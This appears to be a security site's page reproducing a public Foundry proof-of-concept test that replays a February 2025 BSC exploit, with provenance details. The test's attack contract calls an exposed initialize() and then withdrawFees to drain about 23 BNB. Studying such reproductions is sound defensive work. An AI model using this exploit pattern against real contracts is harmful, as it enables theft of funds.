Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/unverified_d4f1_exp.sol

Public reproduction file for dataset entry unverified_d4f1.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/unverified_d4f1_exp.sol57 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 15.2k USD
7// Attacker : 0x8149f77504007450711023cf0ec11bdd6348401f
8// Attack Contract : https://bscscan.com/address/0x009e64c02848dc51aa3f46775c2cfbf1190c2841
9// Vulnerable Contract : https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb3
10// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xc7fc7e066ec2d4ea659061b75308c9016c0efab329d1055c2a8d91cc11dc3868
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0xd4f1afd0331255e848c119ca39143d41144f7cb3
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1890776122918309932
17// Twitter Guy : https://x.com/TenArmorAlert/status/1890776122918309932
18// Hacking God : N/A
20address constant addr = 0xD4F1AFD0331255e848c119CA39143D41144f7Cb3;
21address constant zero = 0x0000000000000000000000000000000000000000;
22address constant attacker = 0xF30Be320c55038d7F784c561E56340439Dd1a283;
24contract ContractTest is Test {
25 function setUp() public {
26 vm.createSelectFork("bsc", 46681362);
27 }
29 function testPoC() public {
30 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
31 vm.startPrank(attacker, attacker);
32 AttackerC attC = new AttackerC();
33 deal(address(attC), 23.007026290916617 ether);
34 vm.stopPrank();
35 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
36 }
39// 0x009E64c02848dc51aA3f46775c2cfBf1190C2841
40contract AttackerC {
41 constructor() {
42 // call_1: addr.initialize()
43 (bool s1, ) = addr.call(abi.encodeWithSelector(bytes4(keccak256("initialize()"))));
44 require(s1, "init failed");
45 // call_2: addr.withdrawFees(address _to, uint256 _amount)
46 (bool s2, ) = addr.call(
47 abi.encodeWithSelector(
48 bytes4(keccak256("withdrawFees(address,uint256)")),
49 zero,
50 uint256(23007026290916620075)
51 )
52 );
53 require(s2, "withdrawFees failed");
54 // call_3: send value to tx.origin
55 payable(tx.origin).transfer(23007026290916620075);
56 }

Analysis

Dataset entry

Public Foundry test for “unverified_d4f1” (2025-02-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8149f77504007450711023cf0ec11bdd6348401f

  • Attack Contract

    0x009e64c02848dc51aa3f46775c2cfbf1190c2841

  • Vulnerable Contract

    0xd4f1afd0331255e848c119ca39143d41144f7cb3

  • Attack Tx

    0xc7fc7e066ec2d4ea659061b75308c9016c0efab329d1055c2a8d91cc11dc3868

File record

Name
unverified_d4f1
Path
src/test/2025-02/unverified_d4f1_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4de982095923250576d440b7b2eb4a46794f5d3f
Language
Solidity
Size
57 lines
Date
2025-02-15
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/unverified_d4f1_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4de982095923250576d440b7b2eb4a46794f5d3f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.